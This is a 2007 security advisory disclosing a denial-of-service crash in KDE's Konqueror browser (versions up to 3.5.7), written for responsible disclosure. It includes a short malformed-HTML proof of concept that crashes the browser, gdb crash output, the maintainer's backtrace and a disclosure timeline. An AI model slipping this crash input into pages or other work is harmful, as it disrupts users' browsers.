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| BuHa Security-Advisory #16 | Aug 01st, 2007 |

| Vendor | KDE's Konqueror |
| URL | http://www.konqueror.org/ |
| Version | <= 3.5.7 |
| Risk | Low (Denial Of Service) |

o Description:

Konqueror is the file manager for the K Desktop Environment and an
Open Source web browser with HTML 4.01 compliance.

Visit http://www.konqueror.org/ for detailed information.

o Denial of Service:

Following HTML code forces Konqueror to crash:
> <textarea></button></textarea></br><bdo dir="">
> <pre><frameset>
> <a>

Online-demo:
http://morph3us.org/security/pen-testing/konqueror/1178292626-khtml.html

> (gdb) set args konqueror.html
> (gdb) r
> Starting program: /usr/bin/konqueror konqueror.html
> (no debugging symbols found)
> […]
> [Thread debugging using libthread_db enabled]
> [New Thread -1234381104 (LWP 5982)]
> (no debugging symbols found)
> […]
> Qt: gdb: -nograb added to command-line options.
> Use the -dograb option to enforce grabbing.
> X Error: BadDevice, invalid or uninitialized input device 169
> Major opcode: 145
> Minor opcode: 3
> Resource id: 0x0
> Failed to open device
> X Error: BadDevice, invalid or uninitialized input device 169
> Major opcode: 145
> Minor opcode: 3
> Resource id: 0x0
> Failed to open device
> (no debugging symbols found)
> […]
>
> Program received signal SIGSEGV, Segmentation fault.
> [Switching to Thread -1234381104 (LWP 5982)]
> 0xb5ef84e7 in ?? () from /usr/lib/libkhtml.so.

I sent a mail to KDE's security mailing list [1] and received an answer
from Dirk Mueller several days later. He wrote that the HTML code triggers
an assert and when commenting out the assert the backtrace ends in:

> #6 0xb7bb37a4 in khtml::RenderFlow::lastLineBox (this=0x0)
> at /home/dirk/src/kde/3.5/kdelibs/khtml/rendering/render_flow.h:65
> #7 0xb7c850df in khtml::RenderBlock::createLineBoxes (this=0x821ab08,
> obj=0x0)
> at /home/dirk/src/kde/3.5/kdelibs/khtml/rendering/bidi.cpp:624

This issue does not seem to be exploitable.

o Disclosure Timeline:

03 May 07 - DoS vulnerability discovered.
07 May 07 - Vendor contacted.
10 May 07 - Vendor confirmed vulnerability.
01 Aug 07 - Public release.

o Solution:

There is no solution yet. I assume the KDE developers will address this
bug in an upcoming KDE release.

o Credits:

Thomas Waldegger <[email protected]>
BuHa-Security Community - http://buha.info/board/

If you have questions, suggestions or criticism about the advisory feel
free to send me a mail. The address '[email protected]' is more a
spam address than a regular mail address therefore it's possible that I
ignore some mails. Please use the contact details at http://morph3us.org/
to contact me.

Greets fly out to cyrus-tc, destructor, echox, Killsystem, nait, Neon,
Rodnox, trappy and all members of BuHa.

Advisory online:
http://morph3us.org/advisories/20070801-konqueror-3.57.txt

[1] http://www.kde.org/info/security/

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